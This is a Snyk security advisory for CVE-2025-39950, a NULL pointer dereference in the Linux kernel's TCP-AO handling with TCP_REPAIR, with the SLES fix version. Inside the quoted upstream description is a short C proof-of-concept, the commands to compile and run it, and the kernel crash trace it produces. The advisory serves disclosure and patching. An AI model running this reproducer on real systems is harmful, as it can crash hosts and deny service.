Homepage

NULL Pointer Dereference Affecting kernel-docs-html package, versions <6.12.0-160000.7.1

Severity

 Recommended
0.0
medium
0
10

Based on SUSE Linux Enterprise Server security rating.

Threat Intelligence

EPSS
0.02% (6th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about NULL Pointer Dereference vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-SLES1600-KERNELDOCSHTML-14377697
  • published11 Dec 2025
  • disclosed26 Nov 2025
Report a new vulnerability Found a mistake?

Introduced: 26 Nov 2025

CVE-2025-39950  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade SLES:16.0.0 kernel-docs-html to version 6.12.0-160000.7.1 or higher.

NVD Description

Note: Versions mentioned in the description apply only to the upstream kernel-docs-html package and not the kernel-docs-html package as distributed by SLES. See How to fix? for SLES:16.0.0 relevant fixed versions and status.

In the Linux kernel, the following vulnerability has been resolved:

net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR

A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled.

The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation.

Fix this by checking if skb is NULL before dereferencing it.

The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it.

int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1;

memset(&amp;sockaddr,&#39;\0&#39;,sizeof(sockaddr));
memset(&amp;tcp_ao,&#39;\0&#39;,sizeof(tcp_ao));


sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);


sockaddr.sin_family = AF_INET;


memcpy(tcp_ao.alg_name,&#34;cmac(aes128)&#34;,12);
memcpy(tcp_ao.key,&#34;ABCDEFGHABCDEFGH&#34;,16);
tcp_ao.keylen = 16;


memcpy(&amp;tcp_ao.addr,&amp;sockaddr,sizeof(sockaddr));


setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &amp;tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &amp;one, sizeof(one));


sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);


inet_aton(&#34;127.0.0.1&#34;, &amp;sockaddr.sin_addr);


connect(sk,(struct sockaddr *)&amp;sockaddr,sizeof(sockaddr));

return 0; }

$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn

BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)

CVSS Base Scores

version 3.1